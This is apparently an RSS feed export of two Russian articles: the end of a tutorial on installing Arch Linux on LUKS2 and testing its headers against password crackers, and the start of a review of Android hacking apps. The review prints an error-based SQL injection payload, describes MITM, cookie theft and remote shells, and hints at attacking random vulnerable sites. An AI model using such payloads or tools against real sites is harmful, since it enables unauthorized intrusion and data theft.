  <p>В файле /etc/mkinitcpio.conf замени <code>HOOKS=(...)</code> на</p>
  <p><code> HOOKS=(base udev memdisk archiso_shutdown archiso archiso_loop_mnt archiso_pxe_common archiso_pxe_nbd archiso_pxe_http archiso_pxe_nfs archiso_kms block filesystems keyboard)</code></p>
  <p>Пересобери initramfs:</p>
  <p><code> # mkinitcpio -p linux</code></p>
  <p>По окончании нужно создать список пакетов, почистить кеш менеджера пакетов и выйти из окружения chroot:</p>
  <pre> # LANG=C pacman -Sl | awk &#x27;/\[installed\]$/ {print $1 &quot;/&quot; $2 &quot;-&quot; $3}&#x27; &gt; /pkglist.txt
# pacman -Scc
# exit
</pre>
  <p>Перенеси свежее ядро и список пакетов, а также удали запасной образ (fallback), так как он не используется установщиком:</p>
  <pre> $ mv squashfs-root/boot/vmlinuz-linux ~/customiso/arch/boot/x86_64/vmlinuz
$ mv squashfs-root/boot/initramfs-linux.img ~/customiso/arch/boot/x86_64/archiso.img
$ rm squashfs-root/boot/initramfs-linux-fallback.img
$ mv squashfs-root/pkglist.txt ~/customiso/arch/pkglist.x86_64.txt
</pre>
  <p>Создай новый airootfs.sfs, почисти мусор и сгенерируй контрольную сумму:</p>
  <pre> $ rm airootfs.sfs
$ mksquashfs squashfs-root airootfs.sfs
$ sudo rm -r squashfs-root
$ sha512sum airootfs.sfs &gt; airootfs.sha512
</pre>
  <p>Чтобы можно было грузиться в режиме UEFI, надо обновить загрузочный образ:</p>
  <pre> $ mkdir mnt
## Для монтирования FAT файловых систем нужен пакет dosfstools
$ sudo mount -t vfat -o loop ~/customiso/EFI/archiso/efiboot.img mnt
$ sudo cp ~/customiso/arch/boot/x86_64/vmlinuz mnt/EFI/archiso/vmlinuz.efi
$ sudo cp ~/customiso/arch/boot/x86_64/archiso.img mnt/EFI/archiso/archiso.img
</pre>
  <p>Последнее, что нужно, — это запаковать все в новый ISO. Читай метку старого .iso при помощи <code>lsblk -f</code> или <code>blkid</code>.</p>
  <figure class="m_custom">
    <img src="https://xakep.ru/wp-content/uploads/2018/08/183904/lsblk-label.png" width="1354" />
  </figure>
  <pre> $ iso_label=&quot;ARCH_201808&quot;
## xorriso есть в пакете libisoburn (sudo pacman -S libisoburn)
$ xorriso -as mkisofs \
  -iso-level 3 \
  -full-iso9660-filenames \
  -volid &quot;${iso_label}&quot; \
  -eltorito-boot isolinux/isolinux.bin \
  -eltorito-catalog isolinux/boot.cat \
  -no-emul-boot -boot-load-size 4 -boot-info-table \
  -isohybrid-mbr ~/customiso/isolinux/isohdpfx.bin \
  -eltorito-alt-boot \
  -e EFI/archiso/efiboot.img \
  -no-emul-boot -isohybrid-gpt-basdat \
  -output arch-custom.iso \
  ~/customiso
$ sudo umount mnt
$ sudo rm -r mnt
</pre>
  <p>Все готово, записывай arch-custom.iso на диск или флешку и грузись: 1</p>
  <p>$ sudo dd if=arch-custom.iso of=/dev/xxx bs=1M status=progress</p>
  <h3>Установка Arch Linux на LUKS2</h3>
  <p>Если модификации прошли успешно и удалось загрузиться, то первая строчка на экране сообщит версию ядра.</p>
  <figure class="m_custom">
    <img src="https://xakep.ru/wp-content/uploads/2018/08/183904/modified-iso.png" width="1025" />
  </figure>
  <blockquote>Подробно расписывать, как устанавливать Arch Linux, нет смысла — этой информации полно в интернете. Затрону главные моменты, которые касаются LUKS2 и «прикручивания» шифрования в целом.Установка проводится на чистый, новый или пустой диск, желательно SSD. Если у тебя есть другие разделы, то придется их нюкнуть. Также нужен UEFI, который, скорее всего, твоя машинка поддерживает.</blockquote>
  <p>Если ставишь на виртуалку, то главное — включить поддержку EFI и пробросить флешку.</p>
  <figure class="m_custom">
    <img src="https://xakep.ru/wp-content/uploads/2018/08/183904/vbox-efi.png" width="676" />
  </figure>
  <figure class="m_custom">
    <img src="https://xakep.ru/wp-content/uploads/2018/08/183904/vbox-flash.png" width="679" />
  </figure>
  <blockquote>Данные ОПАСНОСТЕ!!1 Единственный способ расшифровать их — это ключ-файл на флешке. Выбирай понадежней или оставь возможность ввести пароль.</blockquote>
  <p>Чтобы в один прекрасный день не лишиться данных из-за испорченной или утерянной флешки, сразу добавлю возможность открывать парольной фразой. Из-за этого у меня будут задействованы два слота в заголовке: пароль (слот 0) и ключ-файл (слот 1), который я добавлю потом. Если любишь риск, то можешь парольный слот уничтожить после добавления файла.</p>
  <p>Топология диска у меня:</p>
  <ul>
    <li><code>/dev/sda1</code> — раздел для образов .efi, не зашифрован, FAT32;</li>
    <li><code>/dev/sda2</code> — раздел <code>/boot</code>, зашифрован, LUKS1;</li>
    <li><code>/dev/sda3</code> — <code>/</code>, зашифрован, LUKS2.</li>
  </ul>
  <p>GPT — таблица разделов. Отдельный <code>/boot</code> нужен, как ты помнишь, из-за того, что загрузчики пока не умеют открывать LUKS2. По большому счету можно избавиться от <code>sda1</code> и хранить образ GRUB в файле .efi на той же флешке: для этого нужен раздел с FAT (<a href="http://www.uefi.org/sites/default/files/resources/UEFI+2_5.pdf#page=536" target="_blank">по спецификации UEFI</a>), и вспомнить кое-какие дополнительные ключи (<code>--removable</code>) для <code>grub-install</code>.</p>
  <p>Смотрю диск:</p>
  <pre> root@archiso ~ # fdisk -l      
Disk /dev/sda: 119.2 GiB, 128035676160 bytes, 250069680 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: BA18A20B-089C-47EC-A88C-096FE6A5A7EE
 
Device      Start      End  Sectors  Size Type
/dev/sda1    2048  411647  409600  200M EFI System
/dev/sda2  411648  821247  409600  200M Linux filesystem
/dev/sda3  821248 21792767 20971520  10G Linux filesystem
</pre>
  <p>И создаю LUKS2 на <code>/dev/sda3</code>:</p>
  <p><code> # cryptsetup luksFormat --type luks2 --pbkdf argon2id --cipher aegis256-random --integrity aead --integrity-no-journal /dev/sda3</code></p>
  <p>Чтобы использовать контроль целостности данных (<code>--integrity</code>), на устройство сначала нужно записать контрольные суммы. Поэтому, если у тебя большой диск, придется запастись терпением.</p>
  <figure class="m_custom">
    <img src="https://xakep.ru/wp-content/uploads/2018/08/183904/integrity-tag-progress.png" width="1435" />
  </figure>
  <p>А вот сравнение скорости работы алгоритмов на SSD, приведенное разработчиками. Линейная запись и чтение.</p>
  <figure class="m_custom">
    <img src="https://telegra.ph/file/3d99dbfc3309883de2c58.png" width="683" />
  </figure>
  <ul>
    <li>В качестве PBKDF я использую Argon2id. Если установка идет на одном железе, а система будет использоваться на другом, то дополнительно можно указать, сколько памяти, процессорных потоков и итераций использовать. Ключи:<code>--pbkdf-memory &lt;number&gt;</code>;</li>
    <li><code>--pbkdf-parallel &lt;number&gt;</code>;</li>
    <li><code>--pbkdf-force-iterations &lt;num&gt;</code>.</li>
  </ul>
  <p>Если не указывать их, то будет проведен бенчмарк текущего железа и цифры взяты оттуда.</p>
  <p>Шифр — aegis256-random. Для LUKS2 доступны следующие алгоритмы AEAD:</p>
  <ul>
    <li>aegis128-random;</li>
    <li>aegis256-random;</li>
    <li>morus640-random;</li>
    <li>morus1280-random.</li>
  </ul>
  <p>Суффикс <code>-random</code> здесь указывает на вектор инициализации. Более подробное сравнение смотри в спецификации и магистерской диссертации.</p>
  <p>Как видно из графиков, журнал уменьшает скорость, поэтому отключаю его. На ноутбуке он, в принципе, не нужен, так как внезапная потеря питания в большинстве случаев ему не грозит.</p>
  <p>Смотрю, что получилось, и открываю:</p>
  <pre> # cryptsetup luksDump /dev/sda3
# cryptsetup open /dev/sda3 crypto_root
# lsblk -f
</pre>
  <figure class="m_custom">
    <img src="https://xakep.ru/wp-content/uploads/2018/08/183904/dump-luks2-short.png" width="1048" />
  </figure>
  <p>То самое эмулированное промежуточное устройство crypto_root_dif, с дополнительным местом под метаданные. Для пользователя оно прозрачно, и работа проходит с обычным блочным устройством, в данном случае crypto_root.</p>
  <p>Подготовлю раздел <code>/boot</code> в LUKS1 и также открою его:</p>
  <pre> # cryptsetup luksFormat -h whirlpool -i 5555 /dev/sda2
# cryptsetup luksDump /dev/sda2
# cryptsetup open /dev/sda2 crypto_boot
</pre>
  <p>Тут ничего нового: любимая хеш-функция и чуть больше итераций.</p>
  <figure class="m_custom">
    <img src="https://xakep.ru/wp-content/uploads/2018/08/183904/dump-luks1.png" width="1068" />
  </figure>
  <p>Окей, разделы готовы. Обрати внимание: после открытия я работаю <strong>только</strong> с эмулированными устройствами <code>/dev/mapper/crypto_boot</code> и <code>/dev/mapper/crypto_root</code>, а не с физическими <code>/dev/sda2</code> и <code>/dev/sda3</code>.Создаю файловые системы:</p>
  <pre> # mkfs.vfat -F32 -n &quot;ESP&quot; /dev/sda1
# mkfs.ext2 -L &quot;arch_boot&quot; /dev/mapper/crypto_boot
# mkfs.ext4 -L &quot;arch_root&quot; /dev/mapper/crypto_root
</pre>
  <p>Монтирую:</p>
  <pre> # mount /dev/mapper/crypto_root /mnt
# mkdir /mnt/boot
# mount /dev/mapper/crypto_boot /mnt/boot
# mkdir /mnt/boot/efi
# mount /dev/sda1 /mnt/boot/efi
</pre>
  <p>Всегда используй только свежие зеркала:</p>
  <pre> ## Переименовать список старых
# mv /etc/pacman.d/mirrorlist{,.old}
## Скачать новые
## FR в ссылке можешь заменить на код своей страны или той, что рядом
# curl -q -sSL &#x27;https://archlinux.org/mirrorlist/?country=FR&amp;protocol=https&#x27; | sed -e &#x27;s/^#S/S/g&#x27; &gt;/etc/pacman.d/mirrorlist
</pre>
  <p>Для аутентификации по флешке нужно добавить дополнительный ключ. Ты можешь сделать его из последовательности битов на ней и указать GRUB использовать их при помощи следующего параметра ядра: <code>cryptkey=device:offset:size</code>, где</p>
  <ul>
    <li><code>device</code> — блочное устройство, на котором хранится ключ;</li>
    <li><code>offset</code> — смещение, по которому считывать байты;</li>
    <li><code>size</code> — сколько байтов считать.</li>
  </ul>
  <p>В качестве <code>device</code> можно использовать как <code>/dev/sdX</code>, так и <code>UUID=</code>, например:</p>
  <p><code> cryptkey=/dev/sda:0:512&#x60; или &#x60;cryptkey=UUID=1234-5678:0:512</code></p>
  <p>В моем случае это будет обычный файл. Поэтому воспользуюсь немного другим форматом: <code>cryptkey=device:fstype:path</code> и просто укажу путь к нему.</p>
  <ul>
    <li><code>fstytpe</code> — тип файловой системы, можно использовать <code>auto</code>;</li>
    <li><code>path</code> — путь к файлу.</li>
  </ul>
  <p>Если флешка чистая, без разделов, то придется их создать. Какую именно файловую систему использовать — дело твое. Для экономии времени воспользуюсь установочной флешкой. Создам директорию и примонтирую в нее:</p>
  <pre> # mkdir /flash
# mount /dev/sdb2 /flash
</pre>
  <figure class="m_custom">
    <img src="https://xakep.ru/wp-content/uploads/2018/08/183904/fdisk-flash.png" width="1066" />
  </figure>
  <p>Сгенерирую ключ-файл:</p>
  <p><code> &lt;span class=&quot;com&quot;&gt;# dd if=/dev/urandom of=/flash/root_key.bin bs=1024 count=2&lt;/span&gt;</code></p>
  <blockquote><a href="https://www.2uo.de/myths-about-urandom/?_gclid=5b87c01163add8.71044515-5b87c01163aea1.10521724&_utm_source=xakep&_utm_campaign=mention183904&_utm_medium=inline&_utm_content=lnk3858764208768" target="_blank">Статья</a> и <a href="https://unix.stackexchange.com/questions/324209/when-to-use-dev-random-vs-dev-urandom#324210?_gclid=5b87c01163add8.71044515-5b87c01163aea1.10521724&_utm_source=xakep&_utm_campaign=mention183904&_utm_medium=inline&_utm_content=lnk1929382104384" target="_blank">интересное обсуждение</a> для тех, кто думает, что чуть выше я совершил акт кощунства.</blockquote>
  <p>Добавлю ключ:</p>
  <p><code># cryptsetup luksAddKey --pbkdf argon2id /dev/sda3 /flash/root_key.bin</code></p>
  <p>Экстремалы могут удалить парольный слот командой <code>cryptsetup luksKillSlot /dev/sda3 0</code>, где 0 — номер слота.</p>
  <p>Все готово к установке:</p>
  <p><code> # pacstrap /mnt base base-devel vim grub efibootmgr dialog wpa_supplicant</code></p>
  <p>Генерирую fstab:</p>
  <p><code> # genfstab -U /mnt &gt;&gt; /mnt/etc/fstab</code></p>
  <p>Далее буду проводить настройки системы изнутри. Для этого использую chroot: <code>arch-chroot /mnt</code>. Первым делом — GRUB. В файле <code>/etc/default/grub</code> раскомментируй <code>GRUB_ENABLE_CRYPTODISK=y</code> и замени строки</p>
  <pre> GRUB_CMDLINE_LINUX_DEFAULT=&quot;quiet&quot;
GRUB_CMDLINE_LINUX=&quot;&quot;
</pre>
  <p>на вот такие:</p>
  <pre> GRUB_CMDLINE_LINUX_DEFAULT=&quot;verbose&quot;
GRUB_CMDLINE_LINUX=&quot;cryptdevice=UUID=7a40a90f-2533-41e0-bb94-fd30f4026544:crypto_root cryptkey=UUID=5F6A-991B:auto:/root_key.bin root=/dev/mapper/crypto_root&quot;
</pre>
  <p>Обрати внимание, что <code>GRUB_CMDLINE_LINUX=&quot;...&quot;</code> — одна строка, никаких переносов нет.</p>
  <figure class="m_custom">
    <img src="https://xakep.ru/wp-content/uploads/2018/08/183904/grub-default.png" width="1585" />
  </figure>
  <p>Идентификаторы UUID смотри через <code># blkid</code>.</p>
  <figure class="m_custom">
    <img src="https://telegra.ph/file/05d376cf31378d05a57b7.png" width="1502" />
  </figure>
  <ol>
    <li>Примерная схема работы:GRUB запросил пароль от раздела <code>/boot</code>.</li>
    <li>Пароль подходит? Открыл, прочитал его, нашел initramfs, передал ему управление.</li>
    <li>Закончил работу, все закрыл и забыл.</li>
  </ol>
  <p>Параметр ядра <code>cryptkey=UUID=5F6A-991B:auto:/root_key.bin</code> указывает initramfs, где взять ключ от <code>/</code> — корневого раздела (LUKS2). Если флешка недоступна, он об этом сообщит и запросит пароль. А если ты удалил слот с паролем, то загрузиться не получится.</p>
  <p>Файл <code>/etc/crypttab</code> работает схожим с <code>/etc/fstab</code> образом, только для зашифрованных дисков. В нем указываются все разделы (кроме корневого), которые должны быть <strong>открыты</strong> при загрузке системы. Конфиг <code>crypttab</code> читается перед <code>fstab</code>, но автомонтирование (уже открытых) разделов производит второй. Таким образом, <code>crypttab</code> — это то, что нужно для открытия <code>/boot</code> во время загрузки системы, так как GRUB, передав управление initramfs, его закрыл и забыл все ключи.</p>
  <p>Чтобы не вводить пароль от него дважды (для GRUB и для crypttab), создай и добавь ключ-файл и для раздела <code>/boot</code>:</p>
  <pre># mkdir /root/keys
# dd if=/dev/urandom of=/root/keys/boot_key.bin bs=1024 count=2
# chmod -R 0 /root/keys/
</pre>
  <p>Добавляй, как обычно:</p>
  <p><code> # cryptsetup luksAddKey /dev/sda2 /root/keys/boot_key.bin</code></p>
  <figure class="m_custom">
    <img src="https://xakep.ru/wp-content/uploads/2018/08/183904/dump-luks1-2.png" width="1049" />
  </figure>
  <p>И теперь используй его для автоматического открытия. В конец <code>/etc/crypttab</code> допиши: 1</p>
  <p>crypto_boot UUID=4d053fc0-ded6-4390-9e7c-a8abfa503cd5 /root/keys/boot_key.bin luks,timeout=15</p>
  <figure class="m_custom">
    <img src="https://xakep.ru/wp-content/uploads/2018/08/183904/crypttab.png" width="1254" />
  </figure>
  <p>Для большей надежности перепроверь UUID в <code>/etc/fstab</code>. Для корневого раздела и для <code>/boot</code> они должны соответствовать <code>crypto_root</code> и <code>crypto_boot</code>, а не <code>sda2</code> и <code>sda3</code>.</p>
  <figure class="m_custom">
    <img src="https://telegra.ph/file/cebf420f990e3822ce51a.png" width="1395" />
  </figure>
  <p>Осталось добавить компоненты для initramfs с помощью скрипта mkinitcpio. Для этого подредактируй файл <code>/etc/mkinitcpio.conf</code> и в строку 1</p>
  <p>HOOKS=(base udev autodetect modconf block filesystems keyboard fsck)</p>
  <p>добавь <strong>encrypt</strong>, чтобы получилось</p>
  <p><code> HOOKS=(base udev autodetect modconf block encrypt filesystems keyboard fsck)</code></p>
  <p>В <code>MODULES=()</code> допиши <strong>dm_integrity</strong> и <strong>vfat</strong>:</p>
  <pre> MODULES=(dm_integrity vfat)  
</pre>
  <p>Иначе при загрузке получишь ошибку Kernel doesn’t support dm-integrity mapping. Модуль vfat нужен, так как раздел флешки с ключом — в FAT.</p>
  <p>Пересобери initramfs:</p>
  <figure class="m_custom">
    <img src="https://telegra.ph/file/dfcf3a9bdbaee787b4360.png" width="1040" />
  </figure>
  <p><code> # mkinitcpio -p linux</code></p>
  <figure class="m_custom">
    <img src="https://xakep.ru/wp-content/uploads/2018/08/183904/mkinitcpio.png" width="1040" />
  </figure>
  <p>Последнее, что нужно сделать, — это установить GRUB и сгенерировать для него .cfg-файл командами 1</p>
  <pre> # grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=crypto_arch
# grub-mkconfig -o /boot/grub/grub.cfg
</pre>
  <figure class="m_custom">
    <img src="https://xakep.ru/wp-content/uploads/2018/08/183904/grub-install.png" width="1043" />
  </figure>
  <pre> ## Задай пароль для root
# passwd
## Выйди из chroot
# exit
## Отмонтируй все
# umount -R /mnt
## Последний раз все проверь и пиши
# reboot
</pre>
  <p>Поздравляю, твой свежий Arch Linux установлен на раздел LUKS2 с включенным контролем целостности данных!Парочка топорных тестов скорости дешевого SSD.</p>
  <figure class="m_custom">
    <img src="https://xakep.ru/wp-content/uploads/2018/08/183904/read-write-enc.png" width="1053" />
  </figure>
  <figure class="m_custom">
    <img src="https://xakep.ru/wp-content/uploads/2018/08/183904/read-write-plain.png" width="1064" />
  </figure>
  <h3>Проверка на прочност��</h3>
  <p>Это все замечательно, но, если твой диск попадет в руки злоумышленнику, насколько тяжело (или легко) тому будет достать данные? Сейчас проверим.</p>
  <p>Стоит понимать, что есть множество способов похитить нужную инфу. LUKS защищает данные в офлайне — то есть диск (раздел, контейнер) или закрыт, или отключен от питания вовсе. Иными словами, не думай, что, установив LUKS, ты волшебным образом навсегда обезопасишь данные. Если оставляешь компьютер без присмотра с открытым разделом или пароль записан на стикере, то извини: никакой LUKS тут не поможет.</p>
  <p>Для тестов я выбрал четыре продукта: два открытых и два коммерческих. Открытые — это <a href="http://www.spy-soft.net/john-the-ripper-1-7-9/" target="_blank">John the Ripper</a> и <a href="http://www.spy-soft.net/hashcat/" target="_blank">hashcat</a>. Из коммерческих я знаю продукт <a href="https://www.elcomsoft.com/" target="_blank">ElcomSoft</a>, но он не поддерживает даже LUKS1, поэтому сразу отпадает. Второй найденный мной вариант — это <a href="https://www.passware.com/" target="_blank">Passware</a>. Никогда не слышал об этой конторе, нашел через поисковик. Список клиентов серьезный: NASA, министерства обороны и юстиции США и другие.</p>
  <p>Все инструменты поддерживают GPU. Фермы для майнинга, к сожалению (или к счастью), у меня нет, и в качестве GPU использовалась моя GTX 1050 Ti. Посмотрим, что может эта старушка против LUKS и LUKS2. Для взлома не нужен диск или раздел полностью, достаточно заголовка. Извлекаю их на флешку:</p>
  <pre> # cryptsetup luksHeaderBackup /dev/sda2 --header-backup-file /flash/boot_header.bin
# cryptsetup luksHeaderBackup /dev/sda3 --header-backup-file /flash/root_header.bin
</pre>
  <h3>John the Ripper</h3>
  <figure class="m_custom">
    <img src="https://xakep.ru/wp-content/uploads/2018/08/183904/jtr-version.png" width="1153" />
  </figure>
  <p>Ставлю свежую версию и смотрю, что есть в арсенале: 1</p>
  <p><code> $ ./john --list=formats --format=opencl | grep -i luks</code></p>
  <p>Нет вывода. Окей, как насчет CPU?</p>
  <pre> $ ./john --list=formats --format=cpu | grep -i luks
lotus5, lotus85, LUKS, MD2, mdc2, MediaWiki, monero, money, MongoDB, scram,
</pre>
  <p>Что поделать, придется довольствоваться CPU. Пробую:</p>
  <p><code> $ ./luks2john.py /tmp/boot_header.bin</code></p>
  <p>Ситуация та же, что и с hashcat, — нет поддержки whirlpool. Беру криптоконтейнер с SHA-256, добавляю брутфорс-атаку. Чтоб сократить время ожидания до минимума, явно указываю <strong>только цифры</strong> и длину пароля.</p>
  <p>В результате получаю тринадцать паролей в минуту. Если верить программе, брутфорс шестизначного цифрового пароля займет месяц и 26 дней.</p>
  <h3>Итоги</h3>
  <p>Наивно было надеяться, что формат, который сейчас на стадии постоянной доработки, будет поддерживаться хоть каким-нибудь продуктом. На его реализацию нужно потратить время и ресурсы, а спецификация формата может измениться в следующем релизе.</p>
  <p>Удивило отсутствие поддержки whirlpool. Она в LUKS давно, видимо разработчики не любят париться и отдают предпочтение дефолтным настройкам.</p>
  <p>По результатам видно, что стандартная PBKDF2 неплохо справляется с задачей. Возможно, перед парой сотен или тысяч GPU она не устоит, но для этого есть новый Argon2.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@d4ffyduckone/rkERZtKDm</guid><link>https://teletype.in/@d4ffyduckone/rkERZtKDm?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=d4ffyduckone</link><comments>https://teletype.in/@d4ffyduckone/rkERZtKDm?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=d4ffyduckone#comments</comments><dc:creator>d4ffyduckone</dc:creator><title>Лучшие хакерские программы для взлома со смартфона</title><pubDate>Sun, 02 Sep 2018 15:29:15 GMT</pubDate><media:content medium="image" url="https://teletype.in/files/0d/0d1cc507-4c3d-477f-b460-226f50d52aa4.png"></media:content><description><![CDATA[<img src="https://telegra.ph/file/daaaef0b1555d2c57038f.png"></img>Пентест или по простому тесты на проникновение — легальный способ заниматься настоящим взломом, да еще и получать за это деньги. Продвинутый аудит безопасности обычно выполняется на ноутбуке с Kali Linux и специфическим оборудованием, но многие бреши в безопасности легко обнаружить и с помощью обычного смартфона и планшета. В этой статье мы рассмотрим 14 хакерских приложений, которые позволят вам выполнить пентест с помощью Андроид, не вытаскивая ноутбук.]]></description><content:encoded><![CDATA[
  <figure class="m_custom">
    <img src="https://telegra.ph/file/daaaef0b1555d2c57038f.png" width="660" />
  </figure>
  <p>Пентест или по простому тесты на проникновение — легальный способ заниматься настоящим взломом, да еще и получать за это деньги. Продвинутый аудит безопасности обычно выполняется на ноутбуке с <strong>Kali Linux</strong> и специфическим оборудованием, но многие бреши в безопасности легко обнаружить и с помощью обычного смартфона и планшета. В этой статье мы рассмотрим 14 хакерских приложений, которые позволят вам выполнить пентест с помощью Андроид, не вытаскивая ноутбук.</p>
  <p>Статья написана в исследовательских целях. Вся информация носит ознакомительный характер. Ни автор статьи, ни администрация не несет ответственности за неправомерное использование упомянутых в статье программ.</p>
  <h3>Хакерские программы для взлома со смартфона</h3>
  <p>Все хакерские приложения для Андроид делятся на несколько групп:</p>
  <ul>
    <li>Сканеры веб-ресурсов — хакерские утилиты для поиска уязвимостей.</li>
    <li>Комбайны — позволяют искать уязвимости (и эксплоиты для них) как в программной части так и в железе. Выполняют сниффинг, MITM-атаки, и т.д.</li>
    <li>Снифферы — хакерские приложения для перехвата и анализа трафика.</li>
    <li>Вспомогательные утилиты — инструменты помогающие в пентесте.</li>
    <li>Справочники и поисковики — приложения выполняющие вспомогательные функции.</li>
  </ul>
  <h3>Сканеры веб-ресурсов для Android</h3>
  <p>Начнем обзор программ для взлома смартфона с самого главного, а именно со сканеров веб-приложений. Здесь у нас три приложения, которые позволят вам найти открытые админки, сбрутить пароль, протестировать сайт на XSS-уязвимости, возможность SQL-инъекций, составить листинги каталогов и многое другое.</p>
  <h3>Kayra the Pentester Lite</h3>
  <p>Мобильный сканер уязвимостей веб-приложений Kayra the Pentester Lite ищет типичные ошибки в конфигурации указанного веб-сервера и пытается получить листинг каталогов (обычно — успешно). Среди дополнительных инструментов есть генератор хешей и дешифровщик AES.</p>
  <p>Приложение обладает простыми и понятными настройками. Поддерживает HTTPS и проверяет корректность TLS. Умеет искать XSS, брутить CGI и выполнять атаки по словарю. Может работать в фоне и в многопоточном режиме. Содержит базу данных Google Hacks и автоматически определяет известные уязвимости.</p>
  <figure class="m_column">
    <img src="http://www.spy-soft.net/wp-content/uploads/Kayra-the-Pentester-Lite-3.jpg" width="972" />
  </figure>
  <p>По каждому пункту, отмеченному в настройках сканирования, создается подробный отчет. На скриншоте видно лишь его малую часть. Бесплатная версия довольно функциональна, но иногда раздражает рекламой. В платной версии нет рекламы и ограничений, ее стоимость на момент написания статьи составляет 159 рублей.</p>
  <ul>
    <li><a href="https://play.google.com/store/apps/details?id=teycode.kayralite" target="_blank">Сайт</a></li>
    <li>Протестированная версия: 1.4.0</li>
    <li>Размер: 4,7 Мбайт</li>
    <li>Версия Android: 4.1 и выше</li>
    <li>Требуется root: нет</li>
  </ul>
  <h3>DroidSQLi</h3>
  <p>Следующая хакерская программа для Android — это DroidSQLi. Приложение DroidSQLi служит для проверки веб-сайтов на уязвимость к SQL-инъекциям четырех разновидностей:</p>
  <ul>
    <li>Normal SQL injection — классический вариант с передачей параметра UNION ALL SELECT;</li>
    <li>Error based SQL injection — использование в запросах заведомо неверного синтаксиса для получения сообщения об ошибке, раскрывающего дополнительные параметры БД;</li>
    <li>Blind SQL injection — серия запросов с анализом ответов true/false от СУБД, позволяющая восстановить структуру базы данных;</li>
  </ul>
  <p>Time based SQL injection — формирование дополнительных запросов, вызывающих приостановку СУБД на определенное время, что делает возможным посимвольное извлечение данных.</p>
  <figure class="m_column">
    <img src="http://www.spy-soft.net/wp-content/uploads/DroidSQLi.jpg" width="973" />
  </figure>
  <p>Утилита DroidSQLi автоматически подбирает метод инжекта, а также использует техники обхода фильтрации запросов.</p>
  <p>Для начала тестирования сайта необходимо вручную найти точку входа. Обычно это адрес веб-страницы, содержащий запрос вида ?id=X или ?p=X, где X — целое положительное число. В нашем примере пейлоад для параметра id выглядит так:</p>
  <p>id=(SELECT 4777 FROM(SELECT COUNT(*),CONCAT(0x71626b6a71,(SELECT (ELT(4777=4777,1))),0x7170767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</p>
  <p>В Сети очень много сайтов, уязвимых к SQL-инъекциям. Думаю, вы легко найдете несколько таких, просто посмотрев историю своего браузера.</p>
  <ul>
    <li><a href="http://edgard.net/" target="_blank">Сайт</a></li>
    <li>Протестированная версия: 1.1</li>
    <li>Размер: 705 Кбайт</li>
    <li>Версия Android: 4.2 и выше</li>
    <li>Требуется root: нет</li>
  </ul>
  <h3>Droidbug Admin Panel Finder FREE</h3>
  <p>Следующий инструмент для взлома со смартфонов — это утилита Droidbug Admin Panel Finder FREE. Приложение ищет админские панели по дефолтным адресам разных CMS. Результат ее работы не всегда соответствует реальному положению вещей, поскольку на популярных веб-серверах стоят IDS и WAF. Они блокируют перебор URL или перенаправляют его в honeypot (ловушку), который отвечает HTTP 200 OK на все запросы, а сам собирает инфу об атакующем.</p>
  <p>Однако на менее популярных сайтах с безопасностью все очень тоскливо, и валидная админская панелька находится за считанные секунды. В платной версии, стоимостью 139 рублей, убрана реклама и разблокирована возможность перебора по смешанному шаблону для сайтов с поддержкой PHP/ASP/CGI/CFM/JS.</p>
  <figure class="m_column">
    <img src="http://www.spy-soft.net/wp-content/uploads/Droidbug-Admin-Panel-Finder-FREE.jpg" width="972" />
  </figure>
  <ul>
    <li><a href="http://www.spy-soft.net/go-to/https://play.google.com/store/apps/details?id=com.bugtraqapps.droidbugpanelfinderfree" target="_blank">Сайт</a></li>
    <li>Протестированная версия: 1.4</li>
    <li>Размер: 6,3 Мбайт</li>
    <li>Версия Android: 2.1 и выше</li>
    <li>Требуется root: нет</li>
  </ul>
  <h3>Комбайны для взлома со смартфона</h3>
  <p>Интернет состоит не только из веб-приложений, и дыры находят не только в них. Следующая подборка хакерских приложений для Андроид позволит вам искать уязвимости (и эксплоиты для них) в софте и железе, выполнять сниффинг, MITM-атаки, оставлять <strong>бэкдоры </strong>и делать много других интересных вещей.</p>
  <h3>cSploit</h3>
  <p>cSploit — это дин из самых функциональных инструментов для сканирования сетей и поиска уязвимостей на обнаруженных хостах. Составляет карту сети и отображает сведения обо всех найденных в ней устройствах. Умеет определять их IP/MAC и вендора (по первым трем октетам MAC-адреса), определять установленную на них ОС, искать уязвимости с помощью Metasploit framework RPCd и брутфорсить пароли.</p>
  <figure class="m_column">
    <img src="http://www.spy-soft.net/wp-content/uploads/cSploit.png" width="972" />
  </figure>
  <p>Выполняет MITM-атаки разного типа через спуфинг DNS (возможна замена медиафайлов в трафике на лету, JS-инжекты, угон сессий и захват cookie для авторизации без ввода пароля). Также умеет дисконнектить отдельные устройства (или отключать их скопом от точки доступа). Перехватывает трафик и сохраняет его в формате .pcap или перенаправляет, куда пожелаете.</p>
  <p>cSploit содержит инструмент для создания и отправки на выбранный хост любого TCP/UDP-пакета. По ссылке взлом роутера перенаправляет на онлайн-сервис для выбора и эксплуатации уязвимостей под определенную модель. База перестала обновляться в 2015 году, но все еще сохраняет актуальность. В моем кратком тесте на роутере ASUS, который выпускается с конца 2016 года, в свежей прошивке (апрель 2018 года) была обнаружена уязвимость, впервые описанная в 2009 году.</p>
  <figure class="m_column">
    <img src="http://www.spy-soft.net/wp-content/uploads/csploit-download.png" width="972" />
  </figure>
  <p>Дополнительно cSploit помогает создать на взломанном прошедшем аудит безопасности хосте удаленный <strong>шелл</strong> и получить над ним полный контроль. В общем, это однозначный must have для пентестеров, и не только для них.</p>
  <ul>
    <li>Протестированная версия: 1.6.6 RC2</li>
    <li>Размер: 3,5 Мбайт</li>
    <li>Версия Android: 2.3 и выше</li>
    <li>Требуется рут: ДА!</li>
    <li>Дополнительные требования: установить <strong>BusyBox</strong> в /system/bin</li>
  </ul>
  <p>cSploit, Intercepter-NG и другие мощные утилиты заслуживают более подробного рассмотрения в отдельных статьях. Мы предлагаем сперва освоиться с базовыми принципами пентеста на примере простых приложений, а уже затем переходить на хардкор.</p>
  <h3>dSploit</h3>
